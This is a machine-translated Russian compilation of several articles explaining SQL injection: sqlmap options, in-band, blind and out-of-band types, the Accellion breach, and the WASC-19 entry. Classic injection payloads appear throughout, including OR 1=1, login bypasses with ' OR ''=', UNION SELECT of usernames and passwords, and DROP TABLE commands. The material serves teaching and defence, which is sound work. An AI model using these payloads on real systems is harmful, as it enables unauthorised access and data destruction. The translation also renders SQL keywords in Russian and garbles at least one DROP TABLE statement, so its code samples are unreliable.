Разница между XSS и SQL-инъекцией состоит в том, что XSS внедряет вирусный код на интернет-сайт, поэтому код выполняется у пользователей этого веб-сайта браузером, тогда как SQL-инъекция вставляет SQL-код в строку ввода веб-формы для получения доступа или внесения изменений в данные ресурса.
Что такое SQL injection и как найти ее с помощью программы SQLmap | by Svyatoslav Login
SQL injection — это уязвимость, в которой злоумышленник создает или изменяет текущие SQL-запросы для отображения скрытых данных, их изменения или даже выполнения опасных команд операционной системы на стороне сервера базы данных. Атака выполняется на базе приложения, строящего SQL-запросы из пользовательского ввода и статических параметров.
SQLmap — это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатирования уязвимостей SQL-инъекций и захват серверов баз данных.
Команды для работы с приложением:
-u для указания URL
-random-agent для снижения подозрительной активности
-tor для использования защищенного канала
-dbs смотрим какие базы доступны
-table смотрим таблицу
-columns смотрим колонки
-dump скачиваем путь к базе
-current-user инфо базы данных, включая ее название, номер версии, а также текущего пользователя
-passwords сохраненные пароли в базе
-level Эта опция требует аргумента, который определяет уровень тестов для выполнения. Существует пять уровней. Значение по умолчанию — 1, где выполняется ограниченное количество тестов (запросов). Напротив, уровень 5 будет тестировать гораздо больше скриптов и границ. Полезные значения, используемые sqlmap, указаны в текстовом файле xml / payloads.xml. Следуя инструкциям, если sqlmap пропускает инъекцию, вы должны иметь возможность добавлять свою собственный полезный скрипт для тестирования тоже! Что проверяется при разном уровне тестирования:
1) запросы GET и POST level 1
2) значения заголовка HTTP Cookie тестируются в level 2
3) значение HTTP-агента User-Agent / Referer проверяется на level 3
В целом, чем сложнее обнаружить инъекцию SQL, тем выше должен быть установлен уровень. Настоятельно рекомендуется увеличить это значение, прежде чем сообщать в список рассылки, что sqlmap не может обнаружить определенную точку входа.
-risk Эта опция требует аргумента тоже, который определяет риск выполнения тестов. Существует три значения риска. Значение по умолчанию равно 1, что является безобидным для большинства точек ввода SQL. Значение риска 2 добавляет к уровню по умолчанию тесты для сильных SQL-запросов, основанных на запросах, и значение 3 добавляет также тесты SQL-инъекций на основе OR. В некоторых случаях, например, SQL-инъекция в инструкции UPDATE, инъекция полезной нагрузки на основе OR может привести к обновлению всех записей таблицы, что, конечно же, не так, как хочет злоумышленник. Согласно предыдущей опции скрипты для применения этой опции лежат в текстовом файле xml / payloads.xml, и вы можете свободно редактировать и добавлять свои собственные.
Как защитится:
1. Не помещать в БД данные без обработки.
2. Не помещать в запрос управляющие структуры и идентификаторы, введенные пользователем.
3. Добавить капчу
4. Ввести лимиты на поступление запросов с одного IP
Интересна статья? Есть и другие интересные статьи, переходите на мой блог https://svyat.tech/
Что такое SQL-инъекция | Пример атаки SQLI и методы предотвращения
Что такое SQL-инъекция
SQL-инъекция, также известная как SQLI, является распространенным вектором атаки, который использует вредоносный код SQL для внутренних манипуляций с базой данных для доступа к информации, которая не предназначена для отображения. Эта информация может включать любое количество элементов, включая конфиденциальные данные компании, списки пользователей или данные частных клиентов.
Влияние SQL-инъекции на бизнес очень велико.Успешная атака может привести к несанкционированному просмотру списков пользователей, удалению целых таблиц и, в некоторых случаях, к получению злоумышленником административных прав на базу данных, и все это очень пагубно для бизнеса.
При расчете потенциальной стоимости SQLi важно учитывать потерю доверия клиентов в случае кражи личной информации, такой как номера телефонов, адреса и данные кредитной карты.
Хотя этот вектор можно использовать для атаки на любую базу данных SQL, веб-сайты являются наиболее частыми целями.
Что такое SQL-запросы
SQL — это стандартизированный язык, используемый для доступа к базам данных и управления ими для создания настраиваемых представлений данных для каждого пользователя. Запросы SQL используются для выполнения таких команд, как получение данных, обновление и удаление записей. Эти задачи реализуются различными элементами SQL, например, запросами с использованием оператора SELECT для извлечения данных на основе параметров, предоставленных пользователем.
Типичный запрос к базе данных SQL электронного магазина может выглядеть следующим образом:
ВЫБЕРИТЕ ItemName, ItemDescription ОТ Пункт ГДЕ ItemNumber = ItemNumber
Из этого веб-приложение строит строковый запрос, который отправляется в базу данных как один оператор SQL:
sql_query = " ВЫБЕРИТЕ ItemName, ItemDescription ОТ Пункт ГДЕ ItemNumber = "& Запрос.QueryString ("ItemID")
Пользовательский ввод http://www.estore.com/items/items.asp?itemid=999 может затем сгенерировать следующий запрос SQL:
ВЫБЕРИТЕ ItemName, ItemDescription ОТ Пункт ГДЕ ItemNumber = 999
Как можно понять из синтаксиса, этот запрос предоставляет имя и описание для позиции с номером 999.
×
Типы SQL-инъекций
SQL-инъекции обычно делятся на три категории: внутриполосный SQLi (классический), логический SQLi (слепой) и внеполосный SQLi.Вы можете классифицировать типы SQL-инъекций на основе методов, которые они используют для доступа к серверным данным, и их потенциального ущерба.
Внутриполосный SQLi
Злоумышленник использует один и тот же канал связи для запуска своих атак и сбора результатов. Простота и эффективность внутриполосного SQLi делают его одним из наиболее распространенных типов атак SQLi. Есть два подварианта этого метода:
- SQLi на основе ошибок — злоумышленник выполняет действия, которые заставляют базу данных создавать сообщения об ошибках.Злоумышленник потенциально может использовать данные, предоставленные этими сообщениями об ошибках, для сбора информации о структуре базы данных.
- SQLi на основе объединения — этот метод использует преимущество оператора UNION SQL, который объединяет несколько операторов выбора, сгенерированных базой данных, для получения одного ответа HTTP. Этот ответ может содержать данные, которые могут быть использованы злоумышленником.
Выводимый (слепой) SQLi
Злоумышленник отправляет на сервер полезные данные и наблюдает за реакцией и поведением сервера, чтобы узнать больше о его структуре.Этот метод называется слепым SQLi, потому что данные не передаются из базы данных веб-сайта злоумышленнику, поэтому злоумышленник не может видеть информацию об атаке внутри канала.
Слепые инъекции SQL зависят от ответов и поведенческих шаблонов сервера, поэтому они обычно медленнее выполняются, но могут быть столь же опасными. Слепые SQL-инъекции можно классифицировать следующим образом:
- Boolean — этот злоумышленник отправляет SQL-запрос к базе данных, предлагая приложению вернуть результат.Результат будет зависеть от того, является ли запрос истинным или ложным. В зависимости от результата информация в HTTP-ответе изменится или останется неизменной. Затем злоумышленник может определить, было ли сообщение верным или ложным.
- На основе времени — злоумышленник отправляет SQL-запрос к базе данных, что заставляет базу данных ждать (в течение периода в секундах), прежде чем она сможет отреагировать. Злоумышленник может видеть по времени, которое база данных требуется для ответа, является ли запрос истинным или ложным.В зависимости от результата ответ HTTP будет сгенерирован сразу или после периода ожидания. Таким образом, злоумышленник может определить, вернуло ли используемое им сообщение истину или ложь, не полагаясь на данные из базы данных.
Внеполосный SQLi
Злоумышленник может осуществить эту форму атаки только в том случае, если на сервере базы данных, используемом веб-приложением, включены определенные функции. Эта форма атаки в основном используется как альтернатива внутриполосным и логическим методам SQLi.
Внеполосный SQLi выполняется, когда злоумышленник не может использовать тот же канал для запуска атаки и сбора информации, или когда сервер слишком медленный или нестабильный для выполнения этих действий. Эти методы рассчитаны на способность сервера создавать DNS или HTTP-запросы для передачи данных злоумышленнику.
Пример SQL-инъекции
Злоумышленник, желающий выполнить SQL-инъекцию, манипулирует стандартным SQL-запросом, чтобы использовать непроверенные входные уязвимости в базе данных.Есть много способов реализации этого вектора атаки, некоторые из которых будут показаны здесь, чтобы дать вам общее представление о том, как работает SQLI.
Например, вышеупомянутый ввод, который извлекает информацию для определенного продукта, может быть изменен на http://www.estore.com/items/items.asp?itemid=999 или 1 = 1.
В результате соответствующий SQL-запрос выглядит так:
ВЫБЕРИТЕ ItemName, ItemDescription ИЗ пунктов ГДЕ ItemNumber = 999 ИЛИ 1 = 1
И поскольку утверждение 1 = 1 всегда истинно, запрос возвращает все названия и описания продуктов в базе данных, даже те, к которым у вас может быть нет права доступа.
Злоумышленники также могут использовать неправильно отфильтрованные символы для изменения команд SQL, включая использование точки с запятой для разделения двух полей.
Например, это вход http://www.estore.com/items/iteams.asp?itemid=999; DROP TABLE Пользователи могут сгенерировать следующий SQL-запрос:
ВЫБЕРИТЕ ItemName, ItemDescription ИЗ пунктов ГДЕ ItemNumber = 999; ПОЛЬЗОВАТЕЛЬСКАЯ ТАБЛИЦА
В результате может быть удалена вся база данных пользователей.
Другой способ обработки запросов SQL — это оператор UNION SELECT.Это объединяет два несвязанных запроса SELECT для извлечения данных из разных таблиц базы данных.
Например, ввод http://www.estore.com/items/items.asp?itemid=999 UNION SELECT имя пользователя, пароль FROM USERS создает следующий SQL-запрос:
ВЫБЕРИТЕ ItemName, ItemDescription ИЗ пунктов WHERE ItemID = '999' UNION SELECT Имя пользователя, пароль от пользователей;
Используя оператор UNION SELECT, этот запрос объединяет запрос имени и описания элемента 999 с другим, который извлекает имена и пароли для каждого пользователя в базе данных.
SQL-инъекция в сочетании с выполнением команд ОС: атака Accellion
Accellion, производитель File Transfer Appliance (FTA), сетевого устройства, широко применяемого в организациях по всему миру и используемого для перемещения больших конфиденциальных файлов. Этому продукту более 20 лет, и срок его службы подошел к концу.
FTA стал объектом уникальной, очень изощренной атаки, сочетающей внедрение SQL-кода с выполнением команд операционной системы. Эксперты предполагают, что атака Accellion была осуществлена хакерами, имеющими отношение к группе финансовых преступлений FIN11 и группе вымогателей Clop.
Атака демонстрирует, что SQL-инъекция — это не только атака, которая затрагивает веб-приложения или веб-службы, но также может использоваться для компрометации серверных систем и эксфильтрации данных.
Кто пострадал от атаки?
Эксплойт Accellion — это атака на цепочку поставок, затрагивающая многочисленные организации, развернувшие устройство FTA. В их число входят Резервный банк Новой Зеландии, штата Вашингтон, Австралийская комиссия по ценным бумагам и инвестициям, телекоммуникационный гигант Singtel, производитель программного обеспечения безопасности Qualys, а также многие другие.
Поток атаки Accelion
Согласно отчету, заказанному Accellion, комбинация SQLi и атака выполнения команды работала следующим образом:
- Злоумышленники выполнили SQL-инъекцию, чтобы получить доступ к document_root.html, и получили ключи шифрования из базы данных Accellion FTA.
- Злоумышленники использовали ключи для генерации действительных токенов и использовали эти токены для получения доступа к дополнительным файлам.
- Злоумышленники воспользовались ошибкой выполнения команды операционной системы в файле sftp_account_edit.php, позволяя им выполнять свои собственные команды
- Злоумышленники создали веб-оболочку на пути к серверу /home/seos/courier/oauth.api
- Используя эту веб-оболочку, они загрузили на диск настраиваемую полнофункциональную веб-оболочку, которая включала в себя настраиваемые инструменты для эксфильтрации данных из системы Accellion. Исследователи назвали эту оболочку DEWMODE.
- Используя DEWMODE, злоумышленники извлекли список доступных файлов из базы данных MySQL в системе Accellion FTA и перечислили файлы и их метаданные на странице HTML.
- Злоумышленники выполняли запросы на загрузку файлов, которые содержали запросы к компоненту DEWMODE с зашифрованными и закодированными параметрами URL.
- DEWMODE может принимать эти запросы, а затем удалять запросы на загрузку из веб-журналов FTA.
Это повышает профиль атак с использованием SQL-инъекций, показывая, как их можно использовать в качестве шлюза для гораздо более разрушительных атак на критически важную корпоративную инфраструктуру.
Предотвращение и смягчение последствий SQLI
Существует несколько эффективных способов предотвращения атак SQLI, а также защиты от них в случае их возникновения.
Первым шагом является проверка ввода (a.к.а. дезинфекция), который представляет собой практику написания кода, который может идентифицировать незаконные вводимые пользователем данные.
Хотя проверка входных данных всегда должна считаться передовой практикой, она редко бывает надежным решением. Реальность такова, что в большинстве случаев просто невозможно отобразить все законные и незаконные вводимые данные — по крайней мере, не без большого количества ложных срабатываний, которые мешают работе пользователей и функциональности приложения.
По этой причине брандмауэр веб-приложений (WAF) обычно используется для фильтрации SQLI, а также других сетевых угроз.Для этого WAF обычно полагается на большой и постоянно обновляемый список тщательно созданных сигнатур, которые позволяют ему хирургическим путем отсеивать вредоносные SQL-запросы. Обычно такой список содержит сигнатуры для устранения определенных векторов атак и регулярно обновляется для введения правил блокировки для вновь обнаруживаемых уязвимостей.
Современные межсетевые экраны веб-приложений также часто интегрируются с другими решениями безопасности. От них WAF может получать дополнительную информацию, которая еще больше увеличивает его возможности безопасности.
Например, брандмауэр веб-приложения, который обнаруживает подозрительный, но не явно злонамеренный ввод, может перепроверить его с данными IP, прежде чем принять решение о блокировке запроса. Он блокирует ввод только в том случае, если сам IP имеет плохую репутационную историю.
Облачный WAF
Imperva использует распознавание сигнатур, репутацию IP и другие методы безопасности для идентификации и блокировки SQL-инъекций с минимальным количеством ложных срабатываний. Возможности WAF дополняются IncapRules — механизмом настраиваемых правил безопасности, который позволяет детально настраивать параметры безопасности по умолчанию и создавать дополнительные политики безопасности для конкретных случаев.
Наш WAF также использует методы краудсорсинга, которые гарантируют, что новые угрозы, нацеленные на любого пользователя, немедленно распространяются по всей пользовательской базе. Это позволяет быстро реагировать на недавно обнаруженные уязвимости и угрозы нулевого дня.
Узнайте, как Imperva Web Application Firewall может помочь вам с инъекциями SQL.
Добавление защиты, ориентированной на данные, для углубленной защиты
Оптимальная защита — это многоуровневый подход, который включает стратегии, ориентированные на данные, которые сосредоточены на защите самих данных, а также сети и приложений вокруг них.Imperva Database Security постоянно обнаруживает и классифицирует конфиденциальные данные, чтобы определить, сколько конфиденциальных данных существует, где они хранятся и защищены ли они.
Кроме того, Imperva Database Security активно отслеживает активность доступа к данным, чтобы определить любое поведение доступа к данным, которое является риском или нарушает политику, независимо от того, исходит ли оно из сетевого SQL-запроса, взломанной учетной записи пользователя или злонамеренного инсайдера. Получайте автоматическое уведомление о событии безопасности, чтобы вы могли быстро отреагировать с помощью аналитики безопасности, которая дает четкое объяснение угрозы и позволяет немедленно инициировать процесс реагирования с единой платформы.
Безопасность базы данных — это последняя критическая линия защиты от взлома, подобного SQLi. Уникальный подход Imperva к защите данных включает полное представление как веб-приложения, так и уровня данных.
атак путем внедрения кода SQL | Как работает SQL-инъекция?
Атака с использованием SQL-инъекции (SQLi) — одна из наиболее серьезных проблем для целостности и конфиденциальности данных на сегодняшний день, позволяющая злоумышленникам получить доступ к защищенным данным там, где они не авторизованы.В этой статье мы обсудим SQLi и то, как работают эти атаки, с типами и примерами.
Что такое SQL-инъекция?
SQL-инъекция или вставка — это метод злонамеренной атаки, использующий уязвимости приложений на основе SQL. С помощью SQLi хакеры вводят произвольный код в запросы SQL, что позволяет им напрямую добавлять, изменять и удалять записи, хранящиеся в базе данных. Атаки SQLi могут затронуть любое веб-приложение или веб-сайт, связанный с базой данных SQL, например MySQL, SQL Server, Oracle и другие.
Хакеры вводят произвольный код в запросы SQL, что позволяет им напрямую добавлять, изменять и удалять записи, хранящиеся в базе данных.
Первые публичные обсуждения SQLi были начаты в 1998 году Джеффом Форристалом. Forristal сказал в интервью SQLi: «Я могу полностью изменить способ работы SQL». В 2017 году Open Web Application Security Project (OWASP) назвал инъекцию наиболее распространенной угрозой для уязвимых веб-приложений.
Хакеры могут использовать атаки SQLi для несанкционированного доступа к конфиденциальным данным, таким как личная информация, коммерческие данные, данные клиентов или коммерческие секреты.Атаки SQLi позволяют выполнять вредоносные операторы SQL, которые могут управлять сервером базы данных за веб-приложением.
Злоумышленники могут использовать уязвимости SQL для обхода безопасности приложений, а также могут обходить авторизацию и аутентификацию веб-приложения для получения данных из всей базы данных.
Подробнее: Лучшие инструменты мониторинга и производительности SQL Server 2022
Как работает атака с использованием SQL-инъекции?
SQL (язык структурированных запросов) — это стандартизированный язык программирования, предназначенный для управления данными, хранящимися в реляционных базах данных.Атака SQLi состоит из инъекции или вставки SQL-запроса через входные данные. Команды SQL вводятся во входные данные плоскости данных, которые атакуют выполнение предопределенных команд SQL.
Атака SQLi состоит из инъекции или вставки запроса SQL через входные данные.
Чтобы выполнить атаку SQLi, злоумышленники обнаруживают уязвимые входные данные на веб-сайте или веб-приложении. Затем они используют эту уязвимость, используя вводимые пользователем данные в форме запроса SQL.Злоумышленник выполняет специально созданную команду SQL как кибер-вторжение. Код помогает получить ответ, который дает четкое представление о конструкции базы данных, обеспечивая полный доступ к базе данных.
Атаки, выполняемые с использованием SQLi, могут различаться в зависимости от типа ядра базы данных, но все атаки SQLi работают с динамическими операторами SQL. SQLi и его варианты могут быть непростыми.
Некоторые распространенные варианты SQLi могут включать:
- SQLi на основе пользовательского ввода
- SQLi на основе файлов cookie
- SQLi на основе HTTP-заголовков
- SQLi второго порядка
Подробнее на eSecurity Planet: Как предотвратить атаки с использованием SQL-инъекций в 2021 году
Примеры атак с использованием SQL-инъекций
Атака SQLi — один из наиболее распространенных методов атаки, поэтому существует множество примеров.Ниже приведены некоторые популярные попытки использования SQLi.
- В 2002 году Джеремия Джекс обнаружил, что Guess.com был открыт для атаки SQLi, что позволило злоумышленнику создать правильно созданный URL-адрес, чтобы получить каждое имя, номер кредитной карты и дату истечения срока действия в базе данных 200 000+ клиентов.
- В 2007 году веб-сайт Microsoft UK был взломан компьютерным преступником с помощью SQLi.
- В 2010 году, во время всеобщих выборов в Швеции, была предпринята попытка создания SQLi посредством написания команд SQL от руки в рамках голосования по записи.
- В 2015 году в результате атаки SQLi была предпринята попытка украсть данные клиентов с серверов британской телекоммуникационной компании TalkTalk. Злоумышленник воспользовался уязвимостью на устаревшем веб-портале.
- В 2021 году злоумышленник украл 70 гигабайт данных с крайне правого веб-сайта Gab с помощью атаки SQLi. Технический директор Gab, Фоско Маротто, ввел уязвимость в кодовую базу Gab.
Подробнее о CIO Insight: Основные угрозы кибербезопасности для организаций
Типы SQL-инъекций
SQLi можно классифицировать на основе методов, используемых для доступа к внутренним данным, и их потенциального ущерба.SQL-инъекции обычно делятся на три основные категории:
- Внутриполосный SQLi (классический)
- Выводимый SQLi (слепой)
- Внеполосный SQLi
Внутриполосный (классический) SQLi
Внутриполосный (классический) SQLi — один из наиболее распространенных типов атак SQLi. Злоумышленник использует один и тот же канал связи для запуска своих атак и сбора результатов. Внутриполосный SQLi имеет два подварианта.
- SQLi на основе ошибок: Этот метод основан на сообщениях об ошибках, выдаваемых сервером базы данных для сбора информации о структуре базы данных.
- SQLi на основе объединения: Этот метод использует оператор UNION SQL для объединения результатов операторов SELECT для получения одного ответа HTTP. Затем данные ответа могут быть использованы злоумышленником.
Выводимый (слепой) SQLi
Inferential (слепой) SQLi полагается на отклик и поведенческие шаблоны сервера, поэтому выполнение обычно медленнее, но может быть более опасным. Злоумышленник может отправлять полезные данные на сервер и наблюдать за ответами и поведением серверов для восстановления структуры базы данных.У логического SQLi есть два подварианта.
- Логический SQLi: Злоумышленник отправляет SQL-запрос к базе данных, который заставляет приложение возвращать результат. В зависимости от результата информация в HTTP-ответе будет изменена или нет.
- Основанный на времени SQLi: Этот метод основан на отправке SQL-запроса, который заставляет базу данных ждать определенное время (в секундах) перед ответом. Время ответа покажет, является ли результат запроса ИСТИННЫМ или ЛОЖНЫМ.
Внеполосный SQLi
Это наименее распространенная из атак SQLi. Внеполосный метод SQLi полагается на сервер базы данных для выполнения DNS- или HTTP-запросов, доставляющих данные злоумышленнику. Эта атака происходит, когда злоумышленник не может использовать один и тот же канал для запуска атаки и сбора результатов. Внеполосный SQLi предлагает альтернативу методам вывода, основанным на времени, особенно когда ответы сервера нестабильны.
Внеполосный SQLi предлагает альтернативу методам вывода на основе времени, особенно когда ответы сервера нестабильны.
Каждая организация должна сосредоточиться на защите своей ценной информации от атак SQLi. Для тестирования этих уязвимостей доступно множество инструментов автоматического обнаружения. Многоуровневый подход, включающий стратегии, ориентированные на данные, может быть оптимальной защитой от атак SQLi, когда данные сосредоточены на защите самих себя, а также приложений и сети.
Читать далее: Рекомендации по настройке производительности SQL
Примеры атак путем внедрения кода SQL — N -able
Язык структурированных запросов (SQL) — это стандартный компьютерный язык для создания, редактирования и доступа к реляционным базам данных.Разработанный IBM в 1970-х годах, он обычно используется администраторами баз данных для выполнения задач и выполнения команд.
Огромный объем информации, хранящейся в базах данных, делает их ценными целями для хакеров, которые могут использовать присущие им характеристики функций SQL, чтобы обманом заставить базу данных предоставить им доступ даже без действительного входа в систему. Эти атаки, называемые SQL-инъекциями, могут быть дорогостоящими — заявленные убытки от некоторых атак достигли 300 миллионов долларов. Другие привели к утечке данных, затронувшей личные записи почти всей страны.
Эти примеры показывают, почему крайне важно, чтобы поставщики управляемых услуг (MSP) знали, как предотвратить атаки SQL-инъекций, которые используют вредоносный код с разрушительными последствиями. В этой статье вы познакомитесь с рядом примеров SQL-инъекций, чтобы ваша команда лучше понимала, на что обращать внимание, чтобы обеспечить безопасность баз данных ваших клиентов.
Как работает SQL-запрос?
Чтобы понять, почему атаки с использованием SQL-инъекций настолько опасны, полезно сначала разобраться, как работает стандартный SQL-запрос.
Одна из основных команд SQL — это оператор SELECT. При запросе к базе данных SELECT позволяет извлекать данные на основе определенных предоставленных параметров. Например, если покупатель, совершающий покупки в магазине электронной коммерции, хочет увидеть описание товара, запрос SQL может выглядеть примерно так:
ВЫБРАТЬ ИМЯ ПУНКТА, ОПИСАНИЕ ПУНКТА ИЗ ТОВАРА ГДЕ ItemNumber = ItemNumber
Отсюда веб-приложение магазина объединяет различные переменные в один оператор SQL, который поступает в базу данных:
sql_query = " ВЫБРАТЬ ИМЯ ПУНКТА, ОПИСАНИЕ ПУНКТА ИЗ ТОВАРА ГДЕ ItemNumber = "& Запрос.QueryString ("ItemID")
Приложение извлекает имя и описание элемента на основе предоставленного значения номера элемента, а затем отображает информацию для покупателя.
Что такое SQL-инъекция?
SQL-инъекция — это распространенный метод взлома, который включает размещение вредоносного кода в неправильно отформатированных SQL-запросах. Это происходит, когда пользователей просят ввести информацию, такую как имена пользователей, только вместо того, чтобы указать имя пользователя, хакер вводит оператор SQL, предназначенный для тайного выполнения.Этот метод позволяет им получать доступ, редактировать и, возможно, даже удалять базу данных.
Обычно атака с использованием SQL-инъекции состоит из двух частей. Первым шагом является исследование, чтобы определить, как эффективно обмануть целевую базу данных. Злоумышленник попытается ввести неожиданные значения аргумента в операторе SQL, что может выявить уязвимости в запросах к базе данных. Затем злоумышленник использует ответы приложения, включая информацию, содержащуюся в сообщениях об ошибках, для формулирования команды SQL, которая обманывает базу данных.
Оттуда хакер приступит к атаке. На основе наблюдений, определенных на этапе исследования, хакер вводит входное значение, которое база данных интерпретирует как команду SQL, а не как данные. Затем база данных выполняет команду.
Существует ряд доступных инструментов, которые позволяют хакерам автоматизировать как исследования, так и атаки SQL-инъекций, что означает, что жизненно важно поддерживать надежные и эффективные протоколы безопасности для предотвращения и защиты от SQL-инъекций.
Примеры атак с использованием SQL-инъекций
Давайте вернемся к предыдущему примеру электронной коммерции, который извлекает описание товара на основе заданного номера товара. Хакер, выполняющий атаку, предположительно может ввести входное значение, подобное следующему:
Номер позиции: 105 ИЛИ 1 = 1
Тогда инструкция SQL будет выглядеть так:
ВЫБЕРИТЕ ItemName, ItemDescription ОТ Пункт ГДЕ ItemNumber = 105 ИЛИ 1 = 1
Добавление OR 1 = 1 — утверждение, которое база данных будет распознавать как всегда истинное — имеет непреднамеренный эффект возврата каждого названия продукта и описания в базе данных, даже тех, к которым покупатели обычно не имеют доступа.
Вот еще один пример атаки с использованием SQL-инъекции, который позволяет хакерам обходить учетные данные для входа в систему. При представлении поля входа в систему хакер может ввести следующие значения:
Имя пользователя: "ИЛИ" "=" Пароль: "ИЛИ" "="
Результатом будет еще один допустимый оператор SQL. Поскольку база данных распознает «OR» «=» «как всегда истинное значение, она вернет все значения для таблицы имен пользователей, предоставляя хакеру доступ ко всем учетным данным.Вот последний и особенно опасный пример:
ВЫБЕРИТЕ ItemName, ItemDescription ИЗ пунктов ГДЕ ItemNumber = 105; УДАЛИТЬ ПОЛЬЗОВАТЕЛЕЙ ТАБЛИЦЫ
Этот конкретный оператор использует точку с запятой, которая может быть неправильно отфильтрована базой данных, для создания команды, которая может удалить всю пользовательскую базу данных.
Есть еще много способов, которыми атаки с использованием SQL-инъекций могут быть разрушительными, но угроза, проиллюстрированная этими базовыми примерами, очевидна, особенно когда она касается таблиц базы данных, содержащих конфиденциальную информацию о клиентах.Вот почему для MSP и администраторов баз данных невероятно важно иметь твердое представление о том, как правильно форматировать каждую часть SQL-запроса.
Для получения дополнительной информации о SQL-инъекции и других распространенных угрозах прочтите соответствующие статьи нашего блога.
Консорциум безопасности веб-приложений / внедрение SQL
Проект: Классификация угроз WASC
Тип угрозы: Атака
Код ссылки: WASC-19
SQL-инъекция
SQL Injection — это метод атаки, используемый для использования приложений, которые создают операторы SQL из введенных пользователем данных.В случае успеха злоумышленник может изменить логику операторов SQL, выполняемых для базы данных.
Structured Query Language (SQL) — это специализированный язык программирования для отправки запросов к базам данных. Язык программирования SQL является одновременно стандартом ANSI и ISO, хотя многие продукты баз данных, поддерживающие SQL, делают это с помощью проприетарных расширений стандартного языка. Приложения часто используют данные, предоставленные пользователем, для создания операторов SQL. Если приложению не удается правильно построить операторы SQL, злоумышленник может изменить структуру оператора и выполнить незапланированные и потенциально враждебные команды.Когда такие команды выполняются, они делают это в контексте пользователя, указанного приложением, выполняющим инструкцию. Эта возможность позволяет злоумышленникам получить контроль над всеми ресурсами базы данных, доступными для этого пользователя, включая возможность выполнять команды в системе хостинга.
SQL-инъекция с использованием динамических строк
Веб-форма проверки подлинности может создавать командную строку SQL, используя следующий метод:
SQLCommand = "ВЫБРАТЬ имя пользователя из числа пользователей, ГДЕ Имя пользователя = '"
SQLCommand = SQLComand & strUsername
SQLCommand = SQLComand & "'И Пароль ='"
SQLCommand = SQLComand & strPassword
SQLCommand = SQLComand & "'"
strAuthCheck = GetQueryResult (SQLQuery)
Пример 1 — Динамически построенная командная строка SQL
В этом коде разработчик объединяет ввод от пользователя, strUserName
и strPassword
, с логикой запроса SQL.Предположим, злоумышленник отправляет логин и пароль, которые выглядят следующим образом:
Имя пользователя: foo
Пароль: bar 'OR' '='
Командная строка SQL, построенная на основе этого ввода, будет иметь следующий вид:
ВЫБЕРИТЕ имя пользователя из числа пользователей, ГДЕ Имя пользователя = 'foo'
И Пароль = 'bar' ИЛИ '' = ''
Этот запрос вернет все строки из базы данных пользователя, независимо от того, является ли «foo» настоящим именем пользователя или «bar» — допустимым паролем.Это связано с оператором OR, добавленным к предложению WHERE. Сравнение '' = ''
всегда будет возвращать «истинный» результат, в результате чего общая оценка предложения WHERE будет истинной для всех строк в таблице. Если это используется для целей аутентификации, злоумышленник часто будет входить в систему как первый или последний пользователь в таблице «Пользователи».
Внедрение SQL в хранимые процедуры
Атаки с внедрением SQL-кода обычно смягчаются, полагаясь на параметризованные аргументы, передаваемые хранимым процедурам.Следующие ниже примеры иллюстрируют необходимость аудита средств, с помощью которых вызываются хранимые процедуры, и самих хранимых процедур.
SQLCommand = "exec LogonUser '" + strUserName + "', '" + strPassword + "'"
Пример 2 — SQL-инъекция в операторе выполнения хранимой процедуры
Использование хранимой процедуры не означает, что оператор, используемый для вызова хранимой процедуры, безопасен. Злоумышленник может ввести следующие данные для выполнения дополнительных операторов:
Имя пользователя: foo
Пароль: '; DROP TABLE Пользователи -
Сгенерированная строка SQLCommand будет:
exec LogonUser 'foo', ''; DROP TABLE Пользователи - '
На сервере Microsoft SQL при использовании указанной выше командной строки SQL будут выполняться два оператора: первый, скорее всего, не идентифицирует пользователя для входа в систему, а второй удалит таблицу «Пользователи» из базы данных.
Следующий пример был бы проблематичным, даже если бы хранимая процедура была выполнена с использованием подготовленного или параметризованного оператора:
СОЗДАТЬ ПРОЦЕДУРУ LoginUser
@Username varchar (50) = '',
@Password varchar (50) = ''
AS
НАЧАТЬ
ОБЪЯВИТЬ @command varchar (100)
установить @command = 'select * from Users, где Username =' '' +
@ Имя пользователя +
'' 'и пароль =' '' +
@Password +
'' '
EXEC (@ команда)
КОНЕЦ
GO
Пример 3 — SQL-инъекция в хранимую процедуру
Сами хранимые процедуры могут создавать динамические операторы, и они подвержены атакам с использованием SQL-инъекций.Атака на эту хранимую процедуру будет осуществляться так же, как в примере 1.
Следует отметить, что попыток экранирования опасных символов недостаточно для устранения этих недостатков, даже в хранимых процедурах, как в Примере 3. В упомянутой статье «Новые атаки усечения SQL и как их избежать» ([8]) показано, как присвоение строки в переменные фиксированного размера, такие как varchars в примере 3, могут вызвать усечение этих строк и привести к атакам с использованием SQL-инъекций.
Идентификация и использование SQL-инъекций
Существует два широко известных метода идентификации атаки с использованием SQL-инъекции: SQL-инъекция и слепая SQL-инъекция.
SQL-инъекция
Первый метод, обычно используемый для идентификации и использования SQL Injection, использовал информацию, полученную в результате ошибок, сгенерированных во время тестирования. Эти ошибки часто включают текст ошибочного оператора SQL и подробные сведения о характере ошибки.Такая информация очень полезна при создании надежных эксплойтов для атак SQL Injection.
Добавив к параметру инструкцию union select, злоумышленник может проверить доступ к другим таблицам в целевой базе данных:
http: //example/article.asp? ID = 2 + union + all + select + name + from + sysobjects
Сервер базы данных может вернуть ошибку, подобную этой:
Поставщик Microsoft OLE DB для драйверов ODBC ошибка
'80040e14'
[Microsoft] [Драйвер ODBC SQL Server] [SQL Server] Все
запросов в операторе SQL, содержащем UNION
Оператор
должен иметь одинаковое количество выражений.
в своих целевых списках.
Эта ошибка информирует злоумышленника о том, что структура запроса была немного неправильной, но, скорее всего, она будет успешной, если количество столбцов тестового запроса совпадет с исходным запросом.
Слепая инъекция SQL
Если злоумышленнику не предоставляются подробные сообщения об ошибках, следует использовать методы слепого внедрения кода
. Часто бывает, что веб-приложения отображают удобную для пользователя страницу ошибок с минимальными техническими данными, эффективно «ослепляя» описанные выше методы эксплуатации.
Чтобы использовать SQL-инъекцию в таких сценариях, злоумышленник собирает информацию с помощью других средств, таких как дифференциальный временной анализ или манипулирование видимым пользователем состоянием. Одним из распространенных примеров последнего является анализ поведения системы при передаче значений, которые при использовании в операторе SQL дадут ложный или истинный результат.
Если присутствует уязвимость SQL-инъекции, выполнение следующего запроса на веб-сайте:
http: // example / article.asp? ID = 2 + и + 1 = 1
должен вернуть ту же веб-страницу, что и:
http: //example/article.asp? ID = 2
, потому что оператор SQL и 1 = 1
всегда верен.
Выполнение следующего запроса на веб-сайт:
http: //example/article.asp? ID = 2 + и + 1 = 0
приведет к тому, что веб-сайт вернет дружественную ошибку или вообще не вернет страницу. Это потому, что оператор SQL и 1 = 0
всегда ложен.
